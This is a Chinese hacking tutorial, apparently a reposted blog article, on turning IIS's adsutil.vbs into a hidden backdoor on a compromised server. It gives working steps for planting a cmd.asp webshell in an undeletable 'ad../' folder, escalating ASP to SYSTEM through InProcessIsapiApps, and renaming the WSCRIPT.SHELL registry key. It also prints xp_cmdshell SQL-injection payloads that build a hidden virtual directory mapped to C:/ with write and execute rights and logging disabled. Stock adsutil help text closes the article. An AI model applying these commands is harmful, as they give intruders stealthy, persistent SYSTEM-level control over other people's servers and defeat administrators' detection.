您的位置:首页 > 编程语言 > VB

Adsutil.vbs基本用法及深入了解

2011-03-21 14:38 549 查看
Adsutil.vbs基本用法及深入了解

利用adsutil.vbs+../+cmd.asp打造完美后门所须工具:

一个cmd.asp足够了哟,自己写一个或者是找一个都行,不过建议自己写一个其实很简单的哟!而且自己写的还不会被杀掉。光盘里有一个我自己写的cmd.asp很详细的注释哟,你可以看看!

打造过程:

假设你已经攻下了一台机子。

好了开始开工了!

相信大家还都记得原来有一篇文章里说把iis里的应用程序保护设置成:低(iis进程) 然后运行的asp木马就有system权限了吧!

我们将把他设置成:中(共用的),然后仍然让我们的cmd.asp以system权限运行。

这就用到adsutil.vbs这个工具了。

Adsutil.vbs是系统自带的一个工具,用来管理iis的,一般在c:/inetpub/adminscripts下。

至于adsutil.vbs的具体使用在这里不再阐述,请自己在网上去查哟!

其中

在应用程序保护设置为“中”的情况下:LM/W3SVC/InProcessIsapiApps,进程内启动ISAPI。LM/W3SVC/InProcessIsapiApps是一个数组,里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继承inetinfo.exe的local system权限;而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的,运行的身份是IWAM_NAME,然而我们要做的就是手动添加asp.dll到这里。

注意这个里面的东西不能添加,只能覆盖!!

执行:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps

看看原来都有那些:

然后执行:cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINDOWS/system32/inetsrv/httpext.dll" "C:/WINDOWS/system32/inetsrv/httpodbc.dll" "C:/WINDOWS/system32/inetsrv/ssinc.dll" "C:/WINDOWS/system32/msw3prt.dll" "C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll" "C:/WINDOWS/system32/inetsrv/asp.dll"

注意各个值之间是用一个空格搁开的,不是回车!如下图

好了,这下应用程序保护设置为中也没有用了,我们还是system权限!

然后再让我们来打造一个杀毒软件杀不到,管理员找不到的文件夹把cmd.asp放进去!

让我们打开文件夹看看,你会神奇的发现aaa和aaa。(建立文件夹时的aaa../)文件夹里的都是1.txt

那2.txt去哪里了呢?实际上我们打开的aaa。文件夹实际进的是aaa文件夹。

而2.txt还是在真正的aaa../里面哟!而且这个文件夹用一般方法是删不掉的哟!

具体可参照我收录的一篇文章:让ASP木马不被杀.txt

好了利用这个原理,我们在肉鸡的建站目录里建立一个文件夹,假设他原由ad这个文件夹,我们建立一个ad../的文件夹,然后用copy命令把我们的cmd.asp给拷过去!

好了,现在我们已经有不被查杀不容易被发现的system后门了!

可是想过没有,如果别人也传了一个cmd.asp上去,那我们不是成了螳螂捕蝉黄雀在后里的螳螂了。不行,我们要打造只属于我自己的后门!

cmd.asp里有这么一句:

set oScript=server.createobject("WSCRIPT.SHELL")

这句可是核心哟,好了去注册表搜索WSCRIPT.SHELL项然后把他修改成你想要的,如WSCRIPT.SHELLshell .
注意搜索的时候还会搜索到WSCRIPT.SHELL.1也应改改掉,不然就白忙活了哟!

然后把你的cmd.asp里面的

set oScript=server.createobject("WSCRIPT.SHELL")

改为

set oScript=server.createobject("WSCRIPT.SHELLshell")

好了,把cmd.asp拷进ad../

这样你就有自己的后门了。

访问后门的时候只需要输入http://host/ad../cmd.asp

就可以了

看一下我做的这个

呵呵,还不错吧!

Adsutil.vbs基本用法2006-11-19 13:17C:/Inetpub/AdminScripts>cscript Adsutil.vbs

Microsoft (R) Windows Script Host Version 5.6

版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

Usage:

ADSUTIL.VBS <cmd> [<path> [<value>]]

Description:

IIS administration utility that enables the configuration of metabase properties

Supported Commands: //支持的命令,这个最重要

GET,SET,ENUM,DELETE,CREATE,COPY,APPCREATEINPROC,APPCREATEOUTPROC,APPCREATEPOOLPROC,APPDELETE,APPUNLOAD, APPGETSTATUS

Samples: //简单的几个例子

Adsutil.vbs GET W3SVC/1/ServerBindings //查看第一个虚拟WEB站点的邦定端口。这里的W3SVC/1是IIS:// LocalHostW3SVC/1的简写,而ServerBindings是它的属性。下同。

Adsutil.vbs SET W3SVC/1/ServerBindings ":81:" //设定第一个虚拟WEB站点的邦定端口为81。

Adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir" //在第一个虚拟WEB站点根目录下建立一个MyVdir的虚拟目录。后面的“IIsWebVirtualDir”指的是目录类型。

Adsutil.vbs START_SERVER W3SVC/1 //启动第一个虚拟WEB站点。

Adsutil.vbs ENUM /P W3SVC //查看IIS的所有站点。

For Extended Help type:

Adsutil.vbs HELP //如果想要进一步的查看帮助,键入此命令。

以上“//”后的文字都是我添加上去的注释,相信这样解释大家应该可以看懂了吧。

我们所常用的Adsutil.vbs的命令有这么几个:GET,SET,ENUM,DELETE,CREATE。现在我来一一说明:GET命令通常是用来查看目录的各项属性值;SET是用来设定目录属性用的;ENUM也是用来查看属性,所不同的是它直接把所有设置了的属性直接全部显示出来。通常一个目录就有好几页东西可看……它有个可选的“/p”开关符,加上了这个开关,它只会列出此目录下的所有虚拟目录。

洞察虚拟目录属性

一个虚拟目录的大致属性值如下(只列出了常用的,和入侵过程息息相关的):

KeyType:(STRING) "IIsWebVirtualDir" //目录类型,(STRING)说明它是个字符串类型的属性。

AppRoot:(STRING) "/LM/W3SVC/1/ROOT" //目录IIS路径。

AppFriendlyName:(STRING) "默认应用程序" //应用程序名。

AppIsolated:(INTEGER) 2 //指定运行于进程外还是进程中,数字类型属性。

HttpCustomHeaders:(LIST) (1 Items) //自定义IIS数据头。

"Powered By : Www.WoFeiWo.Info"

HttpErrors:(LIST) (42 Items) //各种IIS代码所返回的页面。可以自行设置。

DefaultDoc:(STRING) "Default.htm,index.htm,Default.asp,index.asp,Default.php,index.php,Default.aspx,index.aspx" //目录的默认主页面名称。

Path:(STRING) "D:/ftp" //目录所真正映射的物理路径。

AccessExecute:(BOOLEAN) False //目录的执行权限,是布尔值。

AccessSource:(BOOLEAN) False //目录的Webdav访问是否允许。

AccessRead:(BOOLEAN) True //目录的只读权限。

AccessWrite:(BOOLEAN) False //目录的写权限。

AccessScript:(BOOLEAN) True //目录是否允许执行脚本。

AccessNoRemoteExecute:(BOOLEAN) False

AccessNoRemoteRead:(BOOLEAN) False

AccessNoRemoteWrite:(BOOLEAN) False

AccessNoRemoteScript:(BOOLEAN) False

AccessNoPhysicalDir:(BOOLEAN) False

ScriptMaps:(LIST) (27 Items) //应用程序扩展名映射

".asa,C:/WINDOWS/system32/inetsrv/asp.dll,5,GET,HEAD,POST,TRACE"

".asp,C:/WINDOWS/system32/inetsrv/asp.dll,5,GET,HEAD,POST,TRACE"

".aspx,C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"

……………… //这里省略N多数据。

AspEnableParentPaths:(BOOLEAN) True

AppPoolId:(STRING) "DefaultAppPool" //应用程序池名称。

DontLog:(BOOLEAN) True //禁止IISLog纪录。

DirBrowseFlags:(INTEGER) -1073741762

EnableDirBrowsing:(BOOLEAN) True //目录是否允许列目录。

DirBrowseShowDate:(BOOLEAN) True //这里及以下都是显示目录时的参数设置。

DirBrowseShowTime:(BOOLEAN) True

DirBrowseShowSize:(BOOLEAN) True

DirBrowseShowExtension:(BOOLEAN) True

DirBrowseShowLongDate:(BOOLEAN) True

EnableDefaultDoc:(BOOLEAN) True //是否开启默认主页文档。

以上是我用“Cscript Adsutil.vbs ENUM w3svc/1/root”命令在自己机器上察看到的,大家也可以自己输入以上命令研究。

上面的属性我们都可以通过SET命令来进行设置,如下方式:

Cscript Adsutil.vbs SET w3svc/1/root/目录名/属性名 设置值

如:

Cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1

设置第一个虚拟WEB站点下Wofeiwo虚拟目录的可读权限为Ture。

Cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:/”

这是/设置目录的映射路径是“C:/”。

Adsutil.vbs在入侵中的作用

1.MSSQL Injection的上传新思路

或许大家会在MSSQL的注入中碰到这种情况:SA权限,可以执行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)。可是服务器是在内网,外面是个堡垒主机,只是做了个80端口的映射,3389开了没有用(内网连不上),所有反向木马也传不上去(Tftp、Ftp、Wget、exe2bat等等)这时候你该怎么办?

Amanl大哥经典的《榨干MSSQL最后一滴血》给我们一个很好的思路:就是利用%SystemDrive%/Inetpub/AdminScripts下的VBS建立一个新的虚拟目录,自定义其映射的绝对路径。这样可以绕过了对WEB绝对路径的猜解,然后通过BACKUP或MASKWEBTASK备份数据库或临时表到虚拟目录下(或是直接Echo)就可以得到了一个Shell。

上面的想法的确很好,可是用过臭要饭的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么低,而Echo……我也不想说了,一行一行写那简直是找罪受,还要不停地转特殊字符……其实我们可以把Amanl大哥的想法改进一下:在我们建立一个新的虚拟目录的时候,可以加上写目录的权限,再加上Webdav。那么我们不就可以直接通过IIS上传任何文件了吗?也不仅仅局限于文本文件了。如果我们上传了一个反向后门再通过SA执行!呵呵,一切就都搞定了!来,马上实验一下:

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:/”’;--

注意上面的特殊字符要自己转变,或者你可以用NBSI2或者小路的SQLCOMM来执行以上命令。这样我们就在第一个WEB站点下建立了一个Wofeiwo的虚拟目录,映射到了C:/根目录。给它加上读和写的权限,为了要一个Webshell ,我再加上执行脚本的权限:

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1’;--

写到这里,看过Surperhei写的《对IIS写权限的利用》一文的朋友可能会想要自己构造HTTP包来上传文件,其实有更简单的方法:

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1’;--

设置为允许列目录和Webdav访问,然后打开你的IE,Ctrl+O打开“打开”对话框,键入你刚才设置的虚拟目录,选中“以Web文件夹方式打开”,确定。现在你就可以像操作普通文件夹一样操作以上文件了,还可以Ctrl+C、Ctrl+V复制文件呢!实现了方便上传、修改文件的功能。

2.直接制作一个IIS后门

其实我们完全可以更进一步利用上面所说的思路直接制作一个IIS后门。来,看我的实现(这里使用了动鲨在《近乎完美的IIS后门》中所介绍的方法。不过我是直接用Adsutil.vbs这个MS自带的工具完成了设置,对此文章感兴趣的朋友可以自己找来看看):

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"’;-- //首先建立一个wofeiwo目录。

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo/door "IIsWebVirtualDir"’;-- //在wofeiwo目录下又建立了一个door目录。

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/door/Path “C:/”’;-- //设置door目录映射到C:根目录。

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1’;-- //这里及以下都是给目录设置个种权限。可以参考以上的命令注释。

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1’;--

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1’;--

可能会有人说,这不就是和上面的一样吗?你仔细看会发现我们上面新建的第一个目录“wofeiwo”并没有设置“Path”属性,也就是说它没有映射到任何实际的目录上去。这里应用了IIS的一个BUG(涉及到IIS5.0/5.1/6.0),即对于没有“Path”属性的虚拟目录是不会在IIS管理器中出现的,相当于一个隐藏的目录,而其下的虚拟目录“door”同样是由于上级目录不可见的,所以它也是不可见的!但是“door”目录是设置了“Path”属性的,所以如果我们提交http://IP/wofeiwo/door/路径,其结果是会返回C:/下的文件目录,现在此目录已经是我们可以任意写文件读文件了,并且还可以转到System32目录下运行程序。我们的后门雏形建成了(注意看我这里是加上了AccessExecute执行权限的)。

但是我们现在执行的程序都还是IIS默认的IUSR用户的Guest权限,没有大的权限我们总是不爽,下面来提升我们的权限,加IUSR用户为管理员就不说了。下面说说另两个方法:

(1) 设置AppIsolated,使此目录下程序在IIS的进程中进行,这样就继承了IIS的System权限:

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0’;--

(2)将解析ASP文件的Asp.dll加入到IIS的特权Dll中,使其在进程中运行,从而的到IIS的LocalSystem权限。操作方式如下,首先得到IIS所有的特权Dll:

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs GET w3svc/InProcessIsapiApps’;--

返回:

InProcessIsapiApps : (LIST) (5 Items)

"C:/WINDOWS/system32/inetsrv/httpext.dll"

"C:/WINDOWS/system32/inetsrv/httpodbc.dll"

"C:/WINDOWS/system32/inetsrv/ssinc.dll"

"C:/WINDOWS/system32/msw3prt.dll"

"C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll"

再将Asp.dll设置到InProcessIsapiApps组中去。这里要注意,把上面的所有查到的Dll都加上,否则会被删除:

Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/InProcessIsapiApps "C:/WINDOWS/system32/inetsrv/httpext.dll" "C:/WINDOWS/system32/inetsrv/httpodbc.dll" "C:/WINDOWS/system32/inetsrv/ssinc.dll" "C:/WINDOWS/system32/msw3prt.dll" "C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll" "C:/WINDOWS/system32/inetsrv/asp.dll"’;--

返回:

InProcessIsapiApps:(LIST)"C:/WINDOWS/system32/inetsrv/httpext.dll" "C:/WINDOWS/system32/inetsrv/httpodbc.dll" "C:/WINDOWS/system32/inetsrv/ssinc.dll" "C:/WINDOWS/system32/msw3prt.dll" "C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll" "C:/WINDOWS/system32/inetsrv/asp.dll"

这样就设置好了,以后无论什么ASP文件就都是 LoaclSystem权限了。通过以上的步骤,我们的IIS后门就设置好了。你可以上传ASP木马加以辅助控制,这样的设置型后门是很难被管理员发现的,并且完全通过IIS的80端口通讯,又没有日志记录,所以相当安全。

Adsutil.vbs的帮助

  C:/Inetpub/AdminScripts>cscript adsutil.vbs help
  Microsoft (R) Windows Script Host Version 5.6
  版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
  
  
  Usage:
   ADSUTIL.VBS CMD [param param]
  
  Note: ADSUTIL only supports the "no switch" option of MDUTIL
  
  Description:
  IIS K2 administration utility that enables the manipulation with ADSI parameters
  
  
  Standard MDUTIL Commands:
   adsutil.vbs GET path - display chosen parameter
   adsutil.vbs SET path value ... - assign the new value
   adsutil.vbs ENUM path ["/P" | "/A"] - enumerate all parameters for given pa
  th
   adsutil.vbs DELETE path - delete given path or parameter
   adsutil.vbs CREATE path [KeyType] - create given path and assigns it the gi
  ven KeyType
  
   adsutil.vbs APPCREATEINPROC w3svc/1/root - Create an in-proc application
   adsutil.vbs APPCREATEOUTPROC w3svc/1/root - Create an out-proc application
   adsutil.vbs APPCREATEPOOLPROC w3svc/1/root- Create a pooled-proc application
   adsutil.vbs APPDELETE w3svc/1/root - Delete the application if there is
  one
   adsutil.vbs APPUNLOAD w3svc/1/root - Unload an application from w3svc ru
  ntime lookup table.
   adsutil.vbs APPDISABLE w3svc/1/root - Disable an application - appropriat
  e for porting to another machine.
   adsutil.vbs APPENABLE w3svc/1/root - Enable an application - appropriate
   for importing from another machine.
   adsutil.vbs APPGETSTATUS w3svc/1/root - Get status of the application
  
  New ADSI Options:
   /P - Valid for ENUM only. Enumerates the paths only (no data)
   /A - Valid for ENUM only. Enumerates all data that CAN be set on the node
   KeyType - Valide for CREATE only. Assigns the valid KeyType to the path
  
  Extended ADSUTIL Commands:
   adsutil.vbs FIND path - find the paths where a given parameter
  is set
   adsutil.vbs CREATE_VDIR path - create given path as a Virtual Director
  y
   adsutil.vbs CREATE_VSERV path - create given path as a Virtual Server
   adsutil.vbs START_SERVER path - starts the given web site
   adsutil.vbs STOP_SERVER path - stops the given web site
   adsutil.vbs PAUSE_SERVER path - pauses the given web site
   adsutil.vbs CONTINUE_SERVER path - continues the given web site
  
  
  Samples:
   adsutil.vbs GET W3SVC/1/ServerBindings
   adsutil.vbs SET W3SVC/1/ServerBindings ":81:"
   adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"
   adsutil.vbs START_SERVER W3SVC/1
   adsutil.vbs ENUM /P W3SVC
  Extended ADSUTIL Commands:
   adsutil.vbs FIND path - find the paths where a given parameter
  is set
   adsutil.vbs CREATE_VDIR path - create given path as a Virtual Director
  y
   adsutil.vbs CREATE_VSERV path - create given path as a Virtual Server
   adsutil.vbs START_SERVER path - starts the given web site
   adsutil.vbs STOP_SERVER path - stops the given web site
   adsutil.vbs PAUSE_SERVER path - pauses the given web site
   adsutil.vbs CONTINUE_SERVER path - continues the given web site
  
  
  Samples:
   adsutil.vbs GET W3SVC/1/ServerBindings
   adsutil.vbs SET W3SVC/1/ServerBindings ":81:"
   adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"
   adsutil.vbs START_SERVER W3SVC/1
   adsutil.vbs ENUM /P W3SVC

友情合作伙伴:第一网络!本文出自:http://w1.org.cn/web/programming/adsutil.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: